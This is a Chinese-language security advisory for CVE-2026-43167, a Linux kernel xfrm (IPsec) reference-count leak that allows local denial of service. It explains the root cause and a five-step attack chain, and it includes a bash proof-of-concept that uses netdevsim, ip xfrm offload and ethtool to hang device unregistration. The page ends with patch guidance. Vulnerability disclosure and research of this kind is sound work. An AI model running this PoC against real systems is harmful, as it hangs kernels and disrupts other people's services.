IPBUF安全漏洞报告
English
CVE-2026-43167 CVSS 5.5 中危

Linux Kernel xfrm组件引用泄露漏洞 (CVE-2026-43167)

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43167
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务xfrmIPsec引用泄露CVE-2026-43167

漏洞概述

Linux内核中的xfrm(IPsec)模块存在一个引用计数泄露漏洞,导致本地低权限用户可能触发拒绝服务攻击。该漏洞源于在处理网络设备注销(NETDEV_UNREGISTER)事件时,未能正确释放先前通过硬件卸载API获取的net_device引用。具体表现为,当设备在添加了xfrm状态后更改其硬件卸载特性并注销时,引用计数无法归零,导致设备资源永久占用,进而引发系统资源耗尽或网络功能瘫痪。

技术细节

该漏洞位于Linux内核的net/xfrm/xfrm_device.c文件中。问题起因是提交d77e38e612a0在实现IPsec硬件卸载API时,将xfrm_dev_unregister()函数置为空操作,而xfrm_dev_state_add()函数在构造xfrm状态时会获取对net_device的引用。尽管后续提交03891f820c21试图处理NETDEV_UNREGISTER事件,但它错误地与NETDEV_DOWN事件共享了处理逻辑,未能覆盖在状态添加后关闭硬件卸载特性的场景。攻击者可以通过创建netdevsim设备,添加带有esp-hw-offload的xfrm状态(此时增加引用计数),随后关闭该硬件卸载特性,最后删除设备。这一操作序列将触发引用泄露,导致unregister_netdevice等待设备释放而挂起,从而实现拒绝服务。

攻击链分析

STEP 1
环境准备
攻击者通过netdevsim或具备IPsec硬件卸载功能的网络设备进行操作。
STEP 2
触发引用获取
使用ip命令添加xfrm状态,并开启offload crypto,此时内核调用xfrm_dev_state_add获取设备引用。
STEP 3
修改设备特性
通过ethtool关闭设备的esp-hw-offload特性,使设备状态与之前获取的引用不一致。
STEP 4
设备注销
执行设备删除操作,触发NETDEV_UNREGISTER事件。
STEP 5
资源泄露
由于xfrm_dev_unregister未正确释放引用,设备无法被注销,系统挂起或资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-43167: Linux Kernel xfrm reference leak # This script demonstrates the steps to trigger the refcount leak. # 1. Create a netdevsim device echo 0 > /sys/bus/netdevsim/new_device # 2. Get the interface name dev=$(ls -1 /sys/bus/netdevsim/devices/netdevsim0/net/) echo "Target device: $dev" # 3. Generate a dummy key for the xfrm state key=0x$(echo -n "testkey12345678" | xxd -p -c 32) # 4. Add xfrm state with hardware offload enabled # This calls xfrm_dev_state_add() which increments the netdev refcount ip xfrm state add src 192.168.13.1 dst 192.168.13.2 proto esp \ spi 0x1000 mode tunnel aead 'rfc4106(gcm(aes))' $key 128 \ offload crypto dev $dev dir out # 5. Disable the esp-hw-offload feature on the device # This changes the device state but does not release the refcount acquired in step 4 ethtool -K $dev esp-hw-offload off # 6. Attempt to delete the device # This triggers NETDEV_UNREGISTER. If vulnerable, the system will hang # waiting for the refcount to drop to 0. echo 0 > /sys/bus/netdevsim/del_device

影响范围

Linux Kernel (包含 commit d77e38e612a0 之后版本)

防御指南

临时缓解措施
建议立即应用官方发布的内核补丁,重新引入并修复xfrm_dev_unregister函数,确保在NETDEV_UNREGISTER事件发生时无条件刷新状态和策略以释放设备引用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表